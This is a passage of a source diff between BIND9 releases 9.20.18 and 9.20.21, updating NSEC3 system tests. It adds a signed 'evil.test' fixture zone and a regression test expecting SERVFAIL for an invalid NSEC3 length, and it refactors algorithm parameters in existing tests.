; minimum TTL + ) + IN NS ns1.evil.test. +ns1 IN A 127.0.0.1 +; This is a key-signing key, keyid 10491, for evil.test. +; Created: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Publish: 20260220135822 (Fri Feb 20 14:58:22 2026) +; Activate: 20260220135822 (Fri Feb 20 14:58:22 2026) +evil.test. IN DNSKEY 257 3 13 yh1W7zgrqOsAZdKAh597SI7F2ye4ReiLmBNsDg+TDLJQ+3C2fXfrsQyY MvA+hmzTQdKX24zlVlD3YAVA6+VmrQ== +; This is a zone-signing key, keyid 12713, for evil.test. +; Created: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Publish: 20260220135826 (Fri Feb 20 14:58:26 2026) +; Activate: 20260220135826 (Fri Feb 20 14:58:26 2026) +evil.test. IN DNSKEY 256 3 13 JZQgRxLTYVoGfdmaCXm87msxkXgRqs+gLQ8xFHmWf4N183qYbUAW7iE+ 3NMvTdIRTMPeDCh/KHBiVxQk5RJMaA== diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec3/ns6/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3/ns6/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/named.conf.j2 2026-03-13 22:01:10.669878369 +0000 @@ -0,0 +1,32 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +// NS6 + +options { + query-source address 10.53.0.6; + notify-source 10.53.0.6; + transfer-source 10.53.0.6; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.6; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + recursion no; + dnssec-validation no; +}; + +zone "evil.test" { + type primary; + file "evil.test.db.signed"; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec3/ns6/setup.sh bind9-9.20.21/bin/tests/system/nsec3/ns6/setup.sh --- bind9-9.20.18/bin/tests/system/nsec3/ns6/setup.sh 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/ns6/setup.sh 2026-03-13 22:01:10.670878338 +0000 @@ -0,0 +1,21 @@ +#!/bin/sh -e + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# shellcheck source=conf.sh +. ../../conf.sh + +echo_i "ns6/setup.sh" + +$SIGNER -3 DEADBEEF -A -H 10 -o evil.test -t evil.test.db >/dev/null 2>&1 +$CHECKZONE -s full -f text -F text -o evil.test.db.signed2 evil.test evil.test.db.signed >/dev/null 2>&1 +mv evil.test.db.signed2 evil.test.db.signed diff -Nru bind9-9.20.18/bin/tests/system/nsec3/setup.sh bind9-9.20.21/bin/tests/system/nsec3/setup.sh --- bind9-9.20.18/bin/tests/system/nsec3/setup.sh 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/setup.sh 2026-03-13 22:01:10.670878338 +0000 @@ -25,3 +25,8 @@ cd ns3 $SHELL setup.sh ) + +( + cd ns6 + $SHELL setup.sh +) diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_change.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_change.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_change.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_change.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,27 +9,20 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - -import os import shutil import time -import dns.update +import dns.name +import dns.rdataclass +import dns.rdatatype import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.vars.algorithms import Algorithm +from nsec3.common import NSEC3_MARK, check_nsec3_case + import isctest -import isctest.mark -from isctest.vars.algorithms import RSASHA1 -from nsec3.common import ( - ALGORITHM, - SIZE, - default_config, - pytestmark, - check_nsec3_case, -) +pytestmark = NSEC3_MARK # include the following zones when rendering named configs ZONES = { @@ -63,6 +56,7 @@ fqdn = f"{zone}." isctest.kasp.wait_keymgr_done(ns3, zone) + time.sleep(1) shutil.copyfile(f"{nsdir}/template2.db.in", f"{nsdir}/{zone}.db") ns3.rndc(f"reload {zone}") @@ -100,7 +94,7 @@ "salt-length": 8, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], } zone = params["zone"] diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_initial.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_initial.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_initial.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_initial.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,25 +9,19 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import os +import dns.rcode import dns.update import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.vars.algorithms import RSASHA1, Algorithm +from nsec3.common import NSEC3_MARK, check_nsec3_case + import isctest import isctest.mark -from isctest.vars.algorithms import RSASHA1 -from nsec3.common import ( - ALGORITHM, - SIZE, - default_config, - pytestmark, - check_nsec3_case, -) +pytestmark = NSEC3_MARK # include the following zones when rendering named configs ZONES = { @@ -71,7 +65,7 @@ "zone": "nsec-to-nsec3.kasp", "policy": "nsec", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec-to-nsec3.kasp", @@ -105,10 +99,10 @@ "zone": "nsec3-xfr-inline.kasp", "policy": "nsec", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], "external-keys": [ - f"csk 0 {ALGORITHM} {SIZE}", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits}", ], "external-keydir": "ns2", }, @@ -119,7 +113,7 @@ "zone": "nsec3-dynamic-update-inline.kasp", "policy": "nsec", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic-update-inline.kasp", @@ -162,7 +156,7 @@ "zone": "nsec3-to-rsasha1.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", ], }, id="nsec3-to-rsasha1.kasp", @@ -173,7 +167,7 @@ "zone": "nsec3-to-rsasha1-ds.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", ], }, id="nsec3-to-rsasha1-ds.kasp", @@ -184,7 +178,7 @@ "zone": "nsec3.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3.kasp", @@ -194,7 +188,7 @@ "zone": "nsec3-dynamic.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic.kasp", @@ -204,7 +198,7 @@ "zone": "nsec3-change.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-change.kasp", @@ -214,7 +208,7 @@ "zone": "nsec3-dynamic-change.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic-change.kasp", @@ -224,7 +218,7 @@ "zone": "nsec3-dynamic-to-inline.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic-to-inline.kasp", @@ -234,7 +228,7 @@ "zone": "nsec3-inline-to-dynamic.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-inline-to-dynamic.kasp", @@ -244,7 +238,7 @@ "zone": "nsec3-to-nsec.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-to-nsec.kasp", @@ -254,7 +248,7 @@ "zone": "nsec3-to-optout.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-to-optout.kasp", @@ -268,7 +262,7 @@ "salt-length": 0, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-from-optout.kasp", @@ -282,7 +276,7 @@ "salt-length": 8, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-other.kasp", diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_length.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_length.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_length.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_length.py 2026-03-13 22:01:10.670878338 +0000 @@ -0,0 +1,32 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# pylint: disable=redefined-outer-name,unused-import + +import dns.message + +import isctest + +ZONES = { + "evil.test", +} + + +def bootstrap(): + return { + "zones": ZONES, + } + + +def test_nsec3_invalid_length(): + msg = dns.message.make_query("xxx.evil.test", "A") + res = isctest.query.udp(msg, "10.53.0.5") + isctest.check.servfail(res) diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_reconfig.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_reconfig.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_reconfig.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_reconfig.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,27 +9,22 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import os -import shutil import time -import dns.update +import dns.name +import dns.rcode +import dns.rdataclass +import dns.rdatatype import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.vars.algorithms import RSASHA1, Algorithm +from nsec3.common import NSEC3_MARK, check_nsec3_case + import isctest import isctest.mark -from isctest.vars.algorithms import RSASHA1 -from nsec3.common import ( - ALGORITHM, - SIZE, - default_config, - pytestmark, - check_nsec3_case, -) +pytestmark = NSEC3_MARK # include the following zones when rendering named configs ZONES = { @@ -98,7 +93,7 @@ "policy": "nsec3", "key-properties": [ f"csk 0 {RSASHA1.number} 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="rsasha1-to-nsec3.kasp", @@ -110,7 +105,7 @@ "policy": "nsec3", "key-properties": [ f"csk 0 {RSASHA1.number} 2048 goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="rsasha1-to-nsec3-wait.kasp", @@ -121,7 +116,7 @@ "zone": "nsec3-to-rsasha1.kasp", "policy": "rsasha1", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", f"csk 0 {RSASHA1.number} 2048 goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, @@ -133,7 +128,7 @@ "zone": "nsec3-to-rsasha1-ds.kasp", "policy": "rsasha1", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:hidden dnskey:omnipresent krrsig:omnipresent zrrsig:omnipresent ds:omnipresent", f"csk 0 {RSASHA1.number} 2048 goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, @@ -145,7 +140,7 @@ "zone": "nsec3-to-nsec.kasp", "policy": "nsec", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-to-nsec.kasp", @@ -170,7 +165,7 @@ "zone": "nsec-to-nsec3.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec-to-nsec3.kasp", @@ -180,7 +175,7 @@ "zone": "nsec3.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3.kasp", @@ -190,7 +185,7 @@ "zone": "nsec3-dynamic.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic.kasp", @@ -204,7 +199,7 @@ "salt-length": 8, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic-change.kasp", @@ -214,7 +209,7 @@ "zone": "nsec3-dynamic-to-inline.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-dynamic-to-inline.kasp", @@ -224,7 +219,7 @@ "zone": "nsec3-inline-to-dynamic.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-inline-to-dynamic.kasp", @@ -241,7 +236,7 @@ # "salt-length": 0, # }, # "key-properties": [ - # f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + # f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", # ], # }, # id="nsec3-to-optout.kasp", @@ -254,7 +249,7 @@ # "zone": "nsec3-from-optout.kasp", # "policy": "optout", # "key-properties": [ - # f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + # f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", # ], # }, # id="nsec3-from-optout.kasp", @@ -268,7 +263,7 @@ "salt-length": 8, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-other.kasp", @@ -292,7 +287,7 @@ "zone": "nsec3-ent.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], } @@ -324,6 +319,7 @@ assert match in str(rrset[0]) # remove a name, bump the SOA, and reload + time.sleep(1) templates.render(f"{ns3.identifier}/nsec3-ent.kasp.db", {"serial": 2}) messages = [ @@ -347,6 +343,7 @@ assert response.rcode() == dns.rcode.NXDOMAIN # add a name with an ENT, bump the SOA, and reload ensuring the time stamp changes + time.sleep(1) templates.render(f"{ns3.identifier}/nsec3-ent.kasp.db", {"serial": 3}) messages = [ diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_reload.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_reload.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_reload.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_reload.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,22 +9,13 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - -import os import shutil -import time -import pytest +from nsec3.common import NSEC3_MARK, check_nsec3_case -pytest.importorskip("dns", minversion="2.0.0") import isctest -from nsec3.common import ( - ALGORITHM, - SIZE, - check_nsec3_case, -) +pytestmark = NSEC3_MARK # include the following zones when rendering named configs ZONES = { @@ -38,13 +29,13 @@ } -def test_nsec3_case(ns3): +def test_nsec3_case(ns3, default_algorithm): # Get test parameters. params = { "zone": "nsec3-fails-to-load.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {default_algorithm.number} {default_algorithm.bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], } zone = params["zone"] diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_restart.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_restart.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_restart.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_restart.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,25 +9,17 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import - import os -import dns.update +import dns.rdatatype import pytest -pytest.importorskip("dns", minversion="2.0.0") +from isctest.vars.algorithms import Algorithm +from nsec3.common import NSEC3_MARK, check_nsec3_case, check_nsec3param + import isctest -import isctest.mark -from nsec3.common import ( - ALGORITHM, - SIZE, - default_config, - pytestmark, - check_nsec3_case, - check_nsec3param, -) +pytestmark = NSEC3_MARK # include the following zones when rendering named configs ZONES = { @@ -75,7 +67,7 @@ "zone": "nsec3.kasp", "policy": "nsec3", "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3.kasp", @@ -89,7 +81,7 @@ "salt-length": 8, }, "key-properties": [ - f"csk 0 {ALGORITHM} {SIZE} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", + f"csk 0 {Algorithm.default().number} {Algorithm.default().bits} goal:omnipresent dnskey:rumoured krrsig:rumoured zrrsig:rumoured ds:hidden", ], }, id="nsec3-other.kasp", diff -Nru bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_retransfer.py bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_retransfer.py --- bind9-9.20.18/bin/tests/system/nsec3/tests_nsec3_retransfer.py 2026-01-09 13:39:28.131973503 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3/tests_nsec3_retransfer.py 2026-03-13 22:01:10.670878338 +0000 @@ -9,25 +9,19 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=redefined-outer-name,unused-import +from datetime import timedelta import os -import shutil -from datetime import timedelta +import dns.rcode +import dns.rdatatype -import dns.update -import pytest +from isctest.vars.algorithms import RSASHA256 +from nsec3.common import NSEC3_MARK, check_auth_nsec3, check_nsec3param -pytest.importorskip("dns", minversion="2.0.0") import isctest -import isctest.mark -from isctest.vars.algorithms import RSASHA256 -from nsec3.common import ( - pytestmark, - check_auth_nsec3, - check_nsec3param, -) + +pytestmark = NSEC3_MARK DNSKEY_TTL = int(timedelta(hours=1).total_seconds()) ZSK_LIFETIME = int(timedelta(days=90).total_seconds()) diff -Nru bind9-9.20.18/bin/tests/system/nsec3-answer/tests_nsec3.py bind9-9.20.21/bin/tests/system/nsec3-answer/tests_nsec3.py --- bind9-9.20.18/bin/tests/system/nsec3-answer/tests_nsec3.py 2026-01-09 13:39:28.129973450 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-answer/tests_nsec3.py 2026-03-13 22:01:10.667878433 +0000 @@ -11,31 +11,34 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +# Silence incorrect warnings cause by hypothesis.assume() +# https://github.com/pylint-dev/pylint/issues/10785#issuecomment-3677224217 +# pylint: disable=unreachable + +from collections.abc import Container, Iterable from dataclasses import dataclass -import os from pathlib import Path -from typing import Container, Iterable, Optional, Set, Tuple -import pytest +import os + +from hypothesis import assume, given -pytest.importorskip("dns", minversion="2.5.0") import dns.dnssec import dns.message import dns.name -import dns.query import dns.rcode import dns.rdataclass import dns.rdatatype -import dns.rdtypes.ANY.RRSIG import dns.rdtypes.ANY.NSEC3 +import dns.rdtypes.ANY.RRSIG import dns.rrset +import pytest from isctest.hypothesis.strategies import dns_names, sampled_from + import isctest import isctest.name -from hypothesis import assume, given - SUFFIX = dns.name.from_text(".") AUTH = "10.53.0.1" RESOLVER = "10.53.0.2" @@ -59,7 +62,7 @@ def do_test_query( qname: dns.name.Name, qtype: dns.rdatatype.RdataType, server: str, named_port: int -) -> Tuple[dns.message.QueryMessage, "NSEC3Checker"]: +) -> tuple[dns.message.QueryMessage, "NSEC3Checker"]: query = dns.message.make_query(qname, qtype, use_edns=True, want_dnssec=True) response = isctest.query.tcp(query, server, named_port, timeout=TIMEOUT) isctest.check.is_response_to(response, query) @@ -287,7 +290,7 @@ algorithm: int flags: int iterations: int - salt: Optional[bytes] + salt: bytes | None class NSEC3Checker: @@ -345,8 +348,8 @@ assert attrs_seen["algorithm"] is not None, f"no NSEC3 found\n{response}" self.params: NSEC3Params = NSEC3Params(**attrs_seen) self.response: dns.message.Message = response - self.owners_present: Set[dns.name.Name] = owners_seen - self.owners_used: Set[dns.name.Name] = set() + self.owners_present: set[dns.name.Name] = owners_seen + self.owners_used: set[dns.name.Name] = set() @staticmethod def nsec3_covers(rrset: dns.rrset.RRset, hashed_name: dns.name.Name) -> bool: diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/nsec3-delegation/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/nsec3-delegation/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/nsec3-delegation/ns1/named.conf.j2 2026-03-13 22:01:10.667878433 +0000 @@ -0,0 +1,35 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation no; +}; + +controls { + inet 10.53.0.1 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +include "../../_common/rndc.key"; + +zone "." { + type primary; + file "root.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/nsec3-delegation/ns1/root.db bind9-9.20.21/bin/tests/system/nsec3-delegation/ns1/root.db --- 